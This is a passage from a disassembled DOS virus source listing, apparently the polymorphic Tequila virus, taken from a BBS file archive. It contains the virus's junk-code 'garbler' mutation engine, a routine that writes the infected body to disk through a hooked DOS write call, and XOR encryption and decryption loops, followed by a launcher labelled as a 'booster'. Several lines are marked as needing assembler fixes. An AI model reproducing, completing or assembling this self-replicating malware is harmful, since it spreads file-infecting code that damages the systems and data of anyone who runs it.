  946.    MOV W[SI],DX
  947.    INC SI
  948.    INC SI
  949.    MOV W[SI],04346
  950.    INC SI
  951.    INC SI
  952.    CALL GARBLER
  953.    MOV AX,0FE81
  954.    MOV CL,0BE
  955.    TEST CH,1
  956.    JE 0993           ;Masm Mod. Needed
  957.    MOV AH,0FB
  958.    MOV CL,0BB
  959.    MOV W[SI],AX
  960.    INC SI
  961.    INC SI
  962.    PUSH BX
  963.    ADD BX,040
  964.    MOV W[SI],BX
  965.    INC SI
  966.    INC SI
  967.    POP BX
  968.    MOV B[SI],072
  969.    INC SI
  970.    MOV DX,SI
  971.    INC SI
  972.    CALL GARBLER
  973.    MOV B[SI],CL
  974.    INC SI
  975.    MOV W[SI],BX
  976.    INC SI
  977.    INC SI
  978.    MOV AX,SI
  979.    SUB AX,DX
  980.    DEC AX
  981.    MOV BX,DX
  982.    MOV B[BX],AL
  983.    CALL GARBLER
  984.    CALL GARBLER
  985.    MOV B[SI],0E2
  986.    INC SI
  987.    SUB DI,SI
  988.    DEC DI
  989.    MOV AX,DI
  990.    MOV B[SI],AL
  991.    INC SI
  992.    CALL GARBLER
  993.    RET
  994.  
  995. GARBLER:
  996.    DEC BP
  997.    ES TEST B[BP],0F           ;Masm Mod. Needed
  998.    JE RET           ;Masm Mod. Needed
  999.    DEC BP
  1000.    ES MOV AL,B[BP]           ;Masm Mod. Needed
  1001.    TEST AL,2
  1002.    JE 0A0E           ;Masm Mod. Needed
  1003.    TEST AL,4
  1004.    JE 09F7           ;Masm Mod. Needed
  1005.    TEST AL,8
  1006.    JE 09F1           ;Masm Mod. Needed
  1007.    MOV W[SI],0C789
  1008.    INC SI
  1009.    INC SI
  1010.    JMP RET           ;Masm Mod. Needed
  1011.    MOV B[SI],090
  1012.    INC SI
  1013.    JMP RET           ;Masm Mod. Needed
  1014.    MOV AL,085
  1015.    DEC BP
  1016.    ES MOV AH,B[BP]           ;Masm Mod. Needed
  1017.    TEST AH,2
  1018.    JE 0A05           ;Masm Mod. Needed
  1019.    DEC AL
  1020.    OR AH,0C0
  1021.    MOV W[SI],AX
  1022.    INC SI
  1023.    INC SI
  1024.    JMP RET           ;Masm Mod. Needed
  1025.    DEC BP
  1026.    ES TEST B[BP],2           ;Masm Mod. Needed
  1027.    JE 0A1A           ;Masm Mod. Needed
  1028.    MOV AL,039
  1029.    JMP 09F9           ;Masm Mod. Needed
  1030.    MOV B[SI],0FC
  1031.    INC SI
  1032.    RET
  1033.  
  1034. MAKE_THE_DISK_WRITE:
  1035.    CALL PERFORM_ENCRYPTION_DECRYPTION
  1036.    MOV AH,040
  1037.    MOV BX,W[09A4]
  1038.    MOV DX,0
  1039.    MOV CX,09A4
  1040.    PUSHF
  1041.    CALL D[09B4]           ;Masm Mod. Needed
  1042.    JB 0A37           ;Masm Mod. Needed
  1043.    SUB AX,CX
  1044.    PUSHF
  1045.    CMP B[0A39],028           ;Masm Mod. Needed
  1046.    JNE 0A44           ;Masm Mod. Needed
  1047.    MOV B[0A39],0           ;Masm Mod. Needed
  1048.    CALL PERFORM_ENCRYPTION_DECRYPTION
  1049.    POPF
  1050.    RET
  1051.  
  1052. PERFORM_ENCRYPTION_DECRYPTION:
  1053.    MOV BX,0
  1054.    MOV SI,0960
  1055.    MOV CX,0960
  1056.    MOV DL,B[SI]
  1057.    XOR B[BX],DL
  1058.    INC SI
  1059.    INC BX
  1060.    CMP SI,09A0
  1061.    JB 0A61           ;Masm Mod. Needed
  1062.    MOV SI,0960
  1063.    LOOP 0A52           ;Masm Mod. Needed
  1064.    RET
  1065.  
  1066. THE_FILE_DECRYPTING_ROUTINE:
  1067.    PUSH CS
  1068.    POP DS
  1069.    MOV BX,4
  1070.    MOV SI,0964
  1071.    MOV CX,0960
  1072.    MOV DL,B[SI]
  1073.    ADD B[BX],DL
  1074.    INC SI
  1075.    INC BX
  1076.    CMP SI,09A4
  1077.    JB 0A7E           ;Masm Mod. Needed
  1078.    MOV SI,0964
  1079.    LOOP 0A6F           ;Masm Mod. Needed
  1080.    JMP 0390           ;Masm Mod. Needed
  1081.  
  1082. ;========== THE FOLLOWING IS NOT PART OF THE VIRUS ========
  1083. ;==========       BUT IS MERELY THE BOOSTER.       ========
  1084.  
  1085. START:
  1086.    LEA W[0104],EXIT           ;Masm Mod. Needed
  1087.    MOV W[0106],CS           ;Masm Mod. Needed
  1088.    MOV BX,CS
  1089.    SUB W[0106],BX           ;Masm Mod. Needed
  1090.    JMP INSTALL
  1091.  
  1092. EXIT:
  1093.    INT 020
  1094.  
  1095. TEQUILA ENDP
  1096. CODE_SEG ENDS
  1097. END TEQUILA
  1098. --------------------------------------------------------------------------------
  1099.  
  1100. Downloaded From P-80 International Information Systems 304-744-2253
  1101.